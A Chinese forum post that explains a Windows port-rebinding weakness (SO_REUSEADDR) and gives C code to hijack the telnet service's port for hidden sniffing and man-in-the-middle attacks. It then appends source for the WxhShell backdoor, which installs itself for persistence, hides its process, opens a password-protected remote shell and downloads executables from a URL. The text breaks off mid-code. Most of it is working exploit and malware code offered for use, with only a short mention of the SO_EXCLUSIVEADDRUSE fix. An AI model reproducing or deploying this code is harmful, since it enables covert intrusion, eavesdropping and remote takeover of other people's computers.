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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: n2c(x\DA&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^l ;Bo3^_  
!_c6 `oW  
  saddr.sin_family = AF_INET; z8D,[`  
I) *J,hs1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _E-{*,7bZS  
6b` Jq>v  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6+s&%io4  
 ++8 Xi1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?6N\AM '  
7uv"#mq  
  这意味着什么?意味着可以进行如下的攻击: /K+;HAUTn  
XCn;<$3w  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Zcc7 7dRA  
Ew{N 2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) trLxg H_Y  
+Ezl.O@z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 I%j]pY4  
l.}gWN9-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -biw{  
=:xJZy$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =3V4HQi  
wt_ae|hv  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ">fRM=fl  
oOXJ7 |n  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @ K2Ncb7  
= K`]cEL  
  #include I;$tBgOWq  
  #include DEfhR?v  
  #include R iLqMSq  
  #include    xA n|OSe  
  DWORD WINAPI ClientThread(LPVOID lpParam);   QqeF   
  int main() @k:@mzB7R  
  { &Dp&  
  WORD wVersionRequested; kAx J#RG  
  DWORD ret; OWYY2&.h  
  WSADATA wsaData; .Z17X_  
  BOOL val; 4h}\Kl  
  SOCKADDR_IN saddr; 5':j=KQE_  
  SOCKADDR_IN scaddr; h=NXU9n%'  
  int err; q}g0-Da  
  SOCKET s; VF7H0XR/k5  
  SOCKET sc; >M m.MNU  
  int caddsize; 3] U/^f3  
  HANDLE mt; aH500  
  DWORD tid;   TUp%Cx  
  wVersionRequested = MAKEWORD( 2, 2 ); ]@}@G[e#[  
  err = WSAStartup( wVersionRequested, &wsaData ); &(x>J:b  
  if ( err != 0 ) { sJg3WN  
  printf("error!WSAStartup failed!\n"); p1z^i(  
  return -1; ,~K4+ t_  
  } k.Z?BNP  
  saddr.sin_family = AF_INET; !) d  
   *9r 32]i;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Au )%w  
@$!"}xDR'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); G6"4JTWO  
  saddr.sin_port = htons(23); U!nNT==  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Mw;^`ZxT  
  { ; Oz p  
  printf("error!socket failed!\n"); fX&g. fH  
  return -1; sQT,@+JEr  
  } %Si3LQf  
  val = TRUE; 7 :u+-U  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 yN}<l%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1<M~ #  
  { pl 1CEoe  
  printf("error!setsockopt failed!\n"); + k   
  return -1; `3UvKqe  
  } # kmI#W"^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ljh,%#95=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?3iN)*Ut  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (L<G=XC  
DsiyN:o'+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Yd~Tzh  
  { 0@#d($'1?Z  
  ret=GetLastError(); "9H#pj -  
  printf("error!bind failed!\n"); JCITIjD7=  
  return -1; CT{ X$N  
  } /Dk`?  
  listen(s,2); IS!]!s'EI  
  while(1) Lb2/ Te*  
  { mgEZiAV?  
  caddsize = sizeof(scaddr); =Ajw(I[56  
  //接受连接请求 Cz4l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); M""X_~&I"  
  if(sc!=INVALID_SOCKET) 79M` ?xm  
  { D_I_=0qNd  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8GT{vW9  
  if(mt==NULL) jATN):8W  
  { 4+0:(=>[%  
  printf("Thread Creat Failed!\n"); s3gT6  
  break; & =vi]z:[  
  } z#olKBs  
  } MCfDR#a  
  CloseHandle(mt); M5LqZyY  
  } N8]d0  
  closesocket(s); SjU0X b)[  
  WSACleanup(); r P&.`m88n  
  return 0; N5fMMi(O  
  }   (Yc}V  
  DWORD WINAPI ClientThread(LPVOID lpParam) mY]R~:  
  { DzvGR)>/  
  SOCKET ss = (SOCKET)lpParam; )XD$YI  
  SOCKET sc; 9uY$@7qH  
  unsigned char buf[4096]; > bSQ}kXe  
  SOCKADDR_IN saddr; X57\sggK  
  long num; " 1$hfs  
  DWORD val; p \,PY  
  DWORD ret; QEq>zuz5;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Y3f2RdGl  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =)XC"kU p  
  saddr.sin_family = AF_INET; fTA%HsvU:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 32):&X"AIh  
  saddr.sin_port = htons(23);  qr7_3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q%}54E80  
  { +p)kemJ~  
  printf("error!socket failed!\n"); @X0$X+]E*8  
  return -1; V 8J!8=2  
  } ,O"zz7  
  val = 100; ;z^C\=om  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ha/-v?E  
  { ?bK^IHh  
  ret = GetLastError(); W6uz G  
  return -1; ;(9q, )  
  } UR.l*+<W7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e@crM'R7Lo  
  { >I.X]<jI  
  ret = GetLastError(); =wX(a  
  return -1; W-@}q}A  
  } l8ZzKb-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &]HY:  
  { 62%=%XD  
  printf("error!socket connect failed!\n"); #s^~'2^%4  
  closesocket(sc); pD%Pg5p`  
  closesocket(ss); v`pIovn  
  return -1; H!dg(d^  
  } HrQft1~N  
  while(1) djtCv;z  
  { F:rT.n  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 c4n]#((%a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?i7}d@636  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 YXhxzH hPd  
  num = recv(ss,buf,4096,0); keWqL]  
  if(num>0) iOzY8M+N(  
  send(sc,buf,num,0); L+y90 T6?  
  else if(num==0) C e1^S[  
  break; yGtGhP8  
  num = recv(sc,buf,4096,0); =;^#5dpt$  
  if(num>0) Zo|# ,AdE>  
  send(ss,buf,num,0); r%~/y  
  else if(num==0) (Y%pk76d  
  break; re\&'%~K  
  } Vi1= E])  
  closesocket(ss); x*uQBNf=  
  closesocket(sc); oefhJM!y  
  return 0 ; jO#5ZhG  
  } n[pW^&7x  
Y-Gqx  
juQQ  
========================================================== ^X/[x]UOT@  
E)w^odwMU  
下边附上一个代码,,WXhSHELL INj2B@_  
*XZlnO  
========================================================== 4r'f/s8"#  
Dy_Za.N2  
#include "stdafx.h" y0D="2)  
k&PxhDf  
#include <stdio.h> *^q%b /f  
#include <string.h> c>%+y+b{  
#include <windows.h> V.*0k~  
#include <winsock2.h> xr*hmp1  
#include <winsvc.h> VUaYK  
#include <urlmon.h> iB  =R  
#Ont1>T,G  
#pragma comment (lib, "Ws2_32.lib") &QaFX,N"  
#pragma comment (lib, "urlmon.lib") Cx.GEY|0  
A.@S>H'P  
#define MAX_USER   100 // 最大客户端连接数 biJ"@dm 4  
#define BUF_SOCK   200 // sock buffer 'gDhi!h%  
#define KEY_BUFF   255 // 输入 buffer g q|T:  
dD Qx[  
#define REBOOT     0   // 重启 [ &cCE   
#define SHUTDOWN   1   // 关机 WJp9io[GM  
2m]C mdV^  
#define DEF_PORT   5000 // 监听端口 uTgvMkO  
MCBZq\c  
#define REG_LEN     16   // 注册表键长度 K'6dlwn).  
#define SVC_LEN     80   // NT服务名长度 KiXRBFo  
8J}gj7^8  
// 从dll定义API sYQ=nL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :T62_cFG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ifgh yh<d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K"%_q$[YQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B:-qUuS?R  
j06q3N"  
// wxhshell配置信息 +HGPn0As  
struct WSCFG { jF5Y-CX  
  int ws_port;         // 监听端口 5%+M:B  
  char ws_passstr[REG_LEN]; // 口令 MGt[zLF9  
  int ws_autoins;       // 安装标记, 1=yes 0=no u@V|13p<  
  char ws_regname[REG_LEN]; // 注册表键名 ?C%mwW3pc  
  char ws_svcname[REG_LEN]; // 服务名 PBXRey7>D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yfq Vx$YL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CK<Wba  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :qfP>Ok  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y[=X b  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `QpkD8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 381a(F[$e  
;L <D-=  
}; T*AXS|=ju  
ID/=YG@  
// default Wxhshell configuration _$g2;X >  
struct WSCFG wscfg={DEF_PORT, =UGyZV:z5  
    "xuhuanlingzhe", 4<j)1i=A  
    1, k/ 6Qwb#  
    "Wxhshell", cPFs K*w  
    "Wxhshell", fl8~*\;Xu  
            "WxhShell Service", r#svj*dn  
    "Wrsky Windows CmdShell Service", ?pE)K<+Zkf  
    "Please Input Your Password: ", g4Y1*`}2f  
  1, 3`%]3qd}  
  "http://www.wrsky.com/wxhshell.exe", ljr?Z,R4  
  "Wxhshell.exe" U`G  
    }; Ez\TwK  
X+0+ }S  
// 消息定义模块 re]e4lZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _>b=f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <'{*6f@n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6ol*$Q"z  
char *msg_ws_ext="\n\rExit."; `%%/`Qpj;  
char *msg_ws_end="\n\rQuit."; zSJSus  
char *msg_ws_boot="\n\rReboot..."; uq.!{3)8  
char *msg_ws_poff="\n\rShutdown..."; ~pv|  
char *msg_ws_down="\n\rSave to "; Y (a0*fh  
MBeubS  
char *msg_ws_err="\n\rErr!"; [&Yrnkgr  
char *msg_ws_ok="\n\rOK!"; IE^xk@  
^Z dDs8j  
char ExeFile[MAX_PATH]; |` N|S  
int nUser = 0; .paKV"LJ  
HANDLE handles[MAX_USER]; 6cO3 6  
int OsIsNt; QD2;JI2  
]0Y5 Z)3:z  
SERVICE_STATUS       serviceStatus; 3} Xf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jN[P$} #b`  
F gi&CJ8Q  
// 函数声明 y'$R e  
int Install(void); Fv| )[>z0  
int Uninstall(void); 2LO8SJ#  
int DownloadFile(char *sURL, SOCKET wsh);  S2;u!f  
int Boot(int flag); <8 $fo  
void HideProc(void); r]sN I[  
int GetOsVer(void); S.4gfY  
int Wxhshell(SOCKET wsl); 4l2/eh]Hc(  
void TalkWithClient(void *cs); ;hz;|\ko5  
int CmdShell(SOCKET sock); ^k* h  
int StartFromService(void); \LN!k-c  
int StartWxhshell(LPSTR lpCmdLine); *n"{]tj^>  
PVCFh$pnw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0*=[1tdWY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yi29+T7j4S  
yH9(ru  
// 数据结构和表定义 3A`|$So  
SERVICE_TABLE_ENTRY DispatchTable[] = 4r+@7hnK  
{ %1oh+'ES F  
{wscfg.ws_svcname, NTServiceMain}, S)?V;@p6  
{NULL, NULL} S S)9+0$  
}; uK6'TJ  
// k`X  
// 自我安装 ;2k!KW@  
int Install(void) r5> 1n/+6  
{ AG Ws>  
  char svExeFile[MAX_PATH]; xWiR7~E  
  HKEY key; wr) \GJ#>  
  strcpy(svExeFile,ExeFile); ;4%Co)Rw  
++gWyzD  
// 如果是win9x系统,修改注册表设为自启动 ^t 2b`n60  
if(!OsIsNt) { 6E)emFkQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "mtEjK5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rk E;OU  
  RegCloseKey(key); z^FJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rGn6S &-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \aY<| 7zK  
  RegCloseKey(key); 85}S8\_u  
  return 0; Os rHA  
    } >z"\l  
  } I(5sKU3<  
} B7 #O>a  
else { Jyz*W!kI  
B - 1Kfc  
// 如果是NT以上系统,安装为系统服务 D;Bij=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~WW!P_wI,  
if (schSCManager!=0) +{r~-Rn3  
{ _k|k$qxE  
  SC_HANDLE schService = CreateService _;!$1lM[  
  ( ]4X08Cm^  
  schSCManager, 5qL;@Y  
  wscfg.ws_svcname, Qq|c%FZ  
  wscfg.ws_svcdisp, 9OS~;9YR  
  SERVICE_ALL_ACCESS, Hz >_tA"^T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zMg(\8  
  SERVICE_AUTO_START, ;"9$LHH*  
  SERVICE_ERROR_NORMAL, /a .XWfu  
  svExeFile, v;WfcpWq2  
  NULL, 9<|nJt  
  NULL, Gf->N `N  
  NULL, 1_B;r9x  
  NULL, [.Y]f.D  
  NULL h N U.y  
  ); sqv!,@*q  
  if (schService!=0) hU~up a<dD  
  { ^&z3zFTp  
  CloseServiceHandle(schService); d%~OEq1i"  
  CloseServiceHandle(schSCManager); 1)BIh~1{p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N|3a(mtiZ'  
  strcat(svExeFile,wscfg.ws_svcname); M/abd 7q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c!ul9Cw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1G}\IK1+  
  RegCloseKey(key); [W8"Mc|ve  
  return 0; tt03 gU`  
    } {5NE jUu{j  
  } Jwtt&" c0.  
  CloseServiceHandle(schSCManager); 3P|z`}Ka  
} }v`Z. ?|Z  
} n|'}W+  
CxV$_J  
return 1; wZsjbNf`K  
} \uyZl2=WWa  
0PdX>h.t  
// 自我卸载 *v:o`{vM[  
int Uninstall(void) g@Z7f y7  
{ #ULzh&yO  
  HKEY key; b(Nxk2uv  
1Xkl.FcFw  
if(!OsIsNt) { 2~ y<l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +'"NKZ.>TT  
  RegDeleteValue(key,wscfg.ws_regname); = tY%k!R  
  RegCloseKey(key); 89YG `  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p;<aZ&@O  
  RegDeleteValue(key,wscfg.ws_regname); 9TU B3x^  
  RegCloseKey(key); Ru~;awV?  
  return 0; mcb|N_#n/  
  } m4@Lml+B,  
} hbSXa'  
} j\\uW)ibG  
else { g?gF*^_0  
6#;u6@+}yy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7.nNz&UG]5  
if (schSCManager!=0) l H{~?x  
{ J93@\b  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mum4Uj  
  if (schService!=0) p7p6~;P  
  { G<FB:?|  
  if(DeleteService(schService)!=0) { FfM,~s<Efz  
  CloseServiceHandle(schService); v@1f,d  
  CloseServiceHandle(schSCManager); v VFT0_  
  return 0; 1#lH5|XQ  
  } ~93#L_V_O  
  CloseServiceHandle(schService); I~&*8)xM  
  } ?hOv Y)  
  CloseServiceHandle(schSCManager); M6lNdK  
} @^t1SPp  
} o9+fA H`D  
We@wN:  
return 1;  , D}  
} 4Jk[X>I~  
*lBX/O`=  
// 从指定url下载文件 l}XnCOIT,  
int DownloadFile(char *sURL, SOCKET wsh) tKCX0UZ'  
{ ,xg(F0q  
  HRESULT hr; ;0nL1R]w(  
char seps[]= "/"; C4|H 5H  
char *token; yaK4% k  
char *file; ,D93A  
char myURL[MAX_PATH]; ?#|in}  
char myFILE[MAX_PATH]; %&M*G@j  
`##^@N<P  
strcpy(myURL,sURL); bb!cZ >Z  
  token=strtok(myURL,seps); Vy+kq_9  
  while(token!=NULL) ,F?O} ijk  
  { ;tWi4iT+.  
    file=token; _53N uEM1  
  token=strtok(NULL,seps); ;BW-ag \9  
  } ,L;%-}#$  
G8@LH   
GetCurrentDirectory(MAX_PATH,myFILE); zC WN,K`  
strcat(myFILE, "\\"); t|v_[Za}Z  
strcat(myFILE, file); B i`m+ob  
  send(wsh,myFILE,strlen(myFILE),0); v4W<_ 7L_  
send(wsh,"...",3,0);  <xwaFZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +|.6xC7U  
  if(hr==S_OK) a9p6[qOcd  
return 0; b/&{:g!B  
else @WuG8G  
return 1; :Y[?@/m4  
xX\A& 9m  
} w!/|aZ~*  
Ht7v+lY90^  
// 系统电源模块 %!V=noo  
int Boot(int flag) GQ1m h*4$  
{ RsnFjfb'  
  HANDLE hToken; s%@HchZ 1  
  TOKEN_PRIVILEGES tkp; AxiCpAS;J  
t ybM3VA  
  if(OsIsNt) { BF(Kaf;<t.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PaBqv]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fK5iOj'Q  
    tkp.PrivilegeCount = 1; @ iaz_;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ke5_lr(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WbHI>tt  
if(flag==REBOOT) {  4FcY NJq  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Wq/0}W.  
  return 0; ($s%B  
}  r95$( N  
else { ? W2W y\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rE4qPzL  
  return 0; rB-}<22.  
} skBzwVW I  
  } X  m%aT  
  else { |&\cr\T\r  
if(flag==REBOOT) { l1D"*J 2`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DTM xfQdk  
  return 0; J85Kgd1 \a  
} F1b~S;lm  
else { !K/zFYl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'Q4V(.   
  return 0; Y[`%j\=  
} j(`V& S  
} jWerX -$  
Yf[GpSej  
return 1; IjrjLp[z$  
} 1" #W1im  
Y%YPR=j~ &  
// win9x进程隐藏模块 1/ vcj~|)t  
void HideProc(void) e(EXQP2P>  
{ %( o[H sl  
E@S5|CM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  #)28ESj  
  if ( hKernel != NULL ) 0?\d%J!"S  
  { /r mm@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \I~9%QJ>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Xd@x(T~'X  
    FreeLibrary(hKernel); g TqtTd~L  
  } N0']t Gh2  
m|cT)-  
return; tC'@yX  
}  -TKQfd  
MDh^ic5  
// 获取操作系统版本 6)Dp2  
int GetOsVer(void) '/K-i.8F  
{ ]x`I@vSf7R  
  OSVERSIONINFO winfo; m~l[Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x\!Uk!fM  
  GetVersionEx(&winfo); x2 m A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pk2}]jx"  
  return 1; ]2'{W]m  
  else rd4\N2- 6  
  return 0; ` B71`  
} *<T,Fyc|  
o9D]\PdL>  
// 客户端句柄模块 'CC;=@J  
int Wxhshell(SOCKET wsl) nLv"ON~  
{ yct^AN|%  
  SOCKET wsh; /Jw 65 e  
  struct sockaddr_in client; <-m?l6  
  DWORD myID; uZ7~E._  
0G"I}Jp{  
  while(nUser<MAX_USER) ]aVFWzey  
{ mtu`m6Xix  
  int nSize=sizeof(client); V;t8v\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /?Fa<{  
  if(wsh==INVALID_SOCKET) return 1; b|z_1j6U  
J#tY$PE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U,)@+?U+h  
if(handles[nUser]==0) ~}F$1;t0  
  closesocket(wsh); YJEL'k<l  
else kqie|_y  
  nUser++; ; \N${YIn  
  } 6Y(Vs>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^9PB+mz  
*1fZcw'C.  
  return 0; Ib665H7w  
} 3gzcpFNqX  
tZn=[X~Vw@  
// 关闭 socket y vz2eAXa  
void CloseIt(SOCKET wsh) FD*w4U5  
{ } I;5yk,o  
closesocket(wsh); ><Z`) }f  
nUser--; ;p}X]e l}  
ExitThread(0); D/=  AU  
} auP6\kpMe  
GMO|A.bzzN  
// 客户端请求句柄 (0/)vZc  
void TalkWithClient(void *cs) drZ1D s  
{ V`MV_zA2  
9e:}q O5)  
  SOCKET wsh=(SOCKET)cs; zHsWj^m"  
  char pwd[SVC_LEN]; Q #%C)7)  
  char cmd[KEY_BUFF]; @hE$x-TP0  
char chr[1]; HX]pcX^K  
int i,j; umD[4aP~;  
A&~<qgBTp  
  while (nUser < MAX_USER) { E6NrBPm  
P6cc8x9g(  
if(wscfg.ws_passstr) { Pxn;]!Z #  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \x_fP;ma=_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G~\ SI.  
  //ZeroMemory(pwd,KEY_BUFF); '/"xMpN4  
      i=0; &J~%Nt  
  while(i<SVC_LEN) { yIdM2#`u  
Ltt+BUJc  
  // 设置超时 ^?3e?Q?  
  fd_set FdRead; ird q51{G  
  struct timeval TimeOut;  Py)'%e  
  FD_ZERO(&FdRead); uBe1{Z  
  FD_SET(wsh,&FdRead); )~X*&(7RR}  
  TimeOut.tv_sec=8; O]Mz1 ev|  
  TimeOut.tv_usec=0; 4&c7^ 4w~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Tpv]c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1li1&  
cNd2XQB9=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n^7$ST#'bV  
  pwd=chr[0]; 4l~0LdYXKm  
  if(chr[0]==0xd || chr[0]==0xa) { xgeKz^,  
  pwd=0; 75pz' Cb  
  break; H8}}R~ZO  
  } ;|e6Qc9  
  i++; EFg s}BV_9  
    } ;uC +5g`  
+'NiuN  
  // 如果是非法用户,关闭 socket @fH?y Z=>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kM`!'0kt  
} !y>MchNv  
\5wC&|WEB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :%?\Wj5HW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zmxrz[  
!1H\*VM "  
while(1) { cO#e AQf7  
96.A8o  
  ZeroMemory(cmd,KEY_BUFF); W_zAAIY_Y  
_/)?GXwLn  
      // 自动支持客户端 telnet标准   UJ'}p&E  
  j=0; H...!c1M@  
  while(j<KEY_BUFF) { y!9facg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xCd9b:jG  
  cmd[j]=chr[0]; 0-^wY8n-=  
  if(chr[0]==0xa || chr[0]==0xd) { dD2N!umW  
  cmd[j]=0; I<I?ks  
  break; YJO,"7+  
  } QcQ:hHF  
  j++; A@wRP8<GKj  
    }  psg}sl/  
9 xvE?8;M#  
  // 下载文件 q1nGj  
  if(strstr(cmd,"http://")) { 'ErtiD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o 6$Q>g`]  
  if(DownloadFile(cmd,wsh)) 3f{%IU(z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J!QzF)$4J  
  else "Iy @PR?>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FshQ OFW  
  } z90=,wd  
  else { Q-[^!RAK?  
~lR"3z_Z}  
    switch(cmd[0]) { &pZUe`3  
  "/).:9],}  
  // 帮助 9^m&  [Z  
  case '?': { 4:=eO!6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `nO!_3  
    break; S? }@2[  
  } RN?z)9!  
  // 安装 ;mXr])J  
  case 'i': { /:a~;i  
    if(Install()) 4ifWNL^)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7CGKm8T  
    else LDL#*g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kl[WscR  
    break; W"mkNqH  
    } %$ ^yot  
  // 卸载 Te"<.0~1  
  case 'r': { >9f-zv(n  
    if(Uninstall()) c FjC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8VLr*83~8  
    else 7oPBe1P,K+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K5Fzmo a  
    break; LB1.N!q1  
    } m7 !Fb  
  // 显示 wxhshell 所在路径 Q:]F* p2  
  case 'p': { 1anV!&a<K(  
    char svExeFile[MAX_PATH]; {Ex0mw)T  
    strcpy(svExeFile,"\n\r"); 'M\ou}P  
      strcat(svExeFile,ExeFile); xA nAW  
        send(wsh,svExeFile,strlen(svExeFile),0); Llf>C,)  
    break; g eaeOERc  
    } 0\AYUa?RM  
  // 重启 A+j~oR  
  case 'b': { AZ5c^c)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #Dx$KPD  
    if(Boot(REBOOT)) bwo"s[w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O'deQq[  
    else { :L9\`&}FS  
    closesocket(wsh); /^ v4[]  
    ExitThread(0); }k}5\%#li5  
    } J4te!,  
    break; 8zz-jk R  
    } 0Bn$C, -  
  // 关机 MB\vgKY  
  case 'd': { :Ke~b_$Uy-  
